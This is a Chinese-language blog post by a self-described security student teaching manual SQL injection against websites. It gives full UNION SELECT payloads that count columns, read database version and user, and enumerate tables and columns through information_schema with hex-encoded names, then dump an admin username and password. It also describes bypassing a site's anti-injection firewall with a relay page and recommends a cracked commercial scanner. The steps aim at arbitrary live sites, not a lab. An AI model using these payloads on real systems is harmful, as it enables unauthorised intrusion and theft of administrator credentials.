千家信息网

sql注入学习经验

发表于:2024-11-24 作者:千家信息网编辑
千家信息网最后更新 2024年11月24日,本人是一名***新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web***之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了***的学习,今天就和大
千家信息网最后更新 2024年11月24日sql注入学习经验

本人是一名***新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web***之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了***的学习,今天就和大家分享一下我的学习成果,有什么不好的地方欢迎大家提意见!

今天主要是讲一讲sql注入,sql注入的原理和危害就不多说了,大家百度一下就可以了,给大家讲一讲我的实践经验。

sql注入的方法(get参数)

复杂了没用其实就两种,工具注入与手工注入

(一)选择网站是否能进行sql注入(一般使用火狐浏览器比较好--方便)

(1)先查看URL页面为http://xxx.com/xxx/id=23 这样的页面或者为伪静态的url也可进行注入。 ·

(2)在url后输入

and 1=1返回页面正常

and 1=2返回页面错误

or 1=1返回页面错误

or 1=2返回页面正常

这样的网站就有注入漏洞

现在的网站基本都有网站防火墙(带有防sql注入功能)这时可用'工具注入中转生成器'来重新生成一个页面(注意打开这个页面要用iis或小旋风),这样就可以绕过网站安全狗了。

然后在新生成页面进行操作。

and 1=1返回页面正常

and 1=2返回页面错误

or 1=1返回页面错误

or 1=2返回页面正常

这样就可以进行下一步了。

(一)个人经验一般应先进行目录的扫描,为什么呢?

因为先应该找到网站后台的登录界面,如果连登陆界面都无法找到,就算知道了管理员的用户 名密码又有什么用呢。

可以手工查找,就是猜名称,一般为admin|login|user等asp、php、aspx、jsp后缀的,这种方 法有点傻,一般用工具进行网站遍历。

扫描工具:工具在附件里都有。我一般先使用御剑的扫描工具,但御剑的岁数毕竟不小了,也 没有后续的更新,所以有些网站目录是无法遍历出来的,这是只能用一些牛逼的工具了。工具burpsuite(都说是***神器,我也一直在用,功能挺强大的,可以进行网站爬行与网站目录的遍历)还有就是Acunetix Web Vulnerability Scanner这款软件也是非常强大的,现在出到10了,网上破解版。具体使用教程请自行百度。

(二)进行注入

可用工具啊D、明小子、pangolin穿山甲、sqlmap等工具进行注入,今天主要讲解手工注入。

手工注入:

1、order by 1.....100判断表数

若页面返回正常则说明这个数字小于表数,依次递加,最好取中进行测试节省时间,最后一个 正确的为表数,如20正常,21不正常,则表数为20

2、 http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

显示3,7数字

3、 将3或7替换为database()、version()、user()、@@version--compile_os

报基本信息 (1)database():数据库名-------abc

(2)version():数据库版本--------5.1.63-community

(3)user():数据库用户----------shsjk@localhost

(4)@@version--compile_os:操作系统--------win32

4、表名查询 http://xxx/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20from information_schema.tables where table_schema=0x616263(此处为数据库名,可用小葵 转换工具转换为Hex值)

查询结果为:wz_jj_admin,wz_jj_article,wz_jj_p_w_upload,wz_jj_class,wz_jj_en_admin,wz_jj_en_article,wz_jj_en_p_w_upload,wz_jj_en_class,wz_jj_en_key,wz_jj_en_links,wz_jj_en_message,wz_jj_key,wz_jj_links,wz_jj_message

5、分析表wz_jj_admin 查找表的列名

http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=0x777A5F6A6A5F61646D696E

结果为:uid , ad_username,ad_password,ad_power,ad_intro

6、查找用户名,密码http://xxx.com/xxx.php?id=23 and 1=2 UNION SELECT 1,2,group_concat(ad_username,0x5c,ad_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from wz_jj_admin

7、结果为:admin admin888 这样就成功了

这只是简单的sql注入,后续的参数注入有post注入、cookie注入,请耐心等待!

0